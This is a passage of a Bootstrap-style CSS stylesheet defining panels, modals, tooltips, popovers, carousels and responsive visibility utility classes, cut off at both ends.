margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #ddd;\n}\n.panel-default {\n border-color: #ddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #fff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #fff;\n border: 1px solid #999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 12px;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 14px;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #fff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #fff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #fff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n -moz-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #fff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #fff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #fff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -10px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -10px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -10px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n 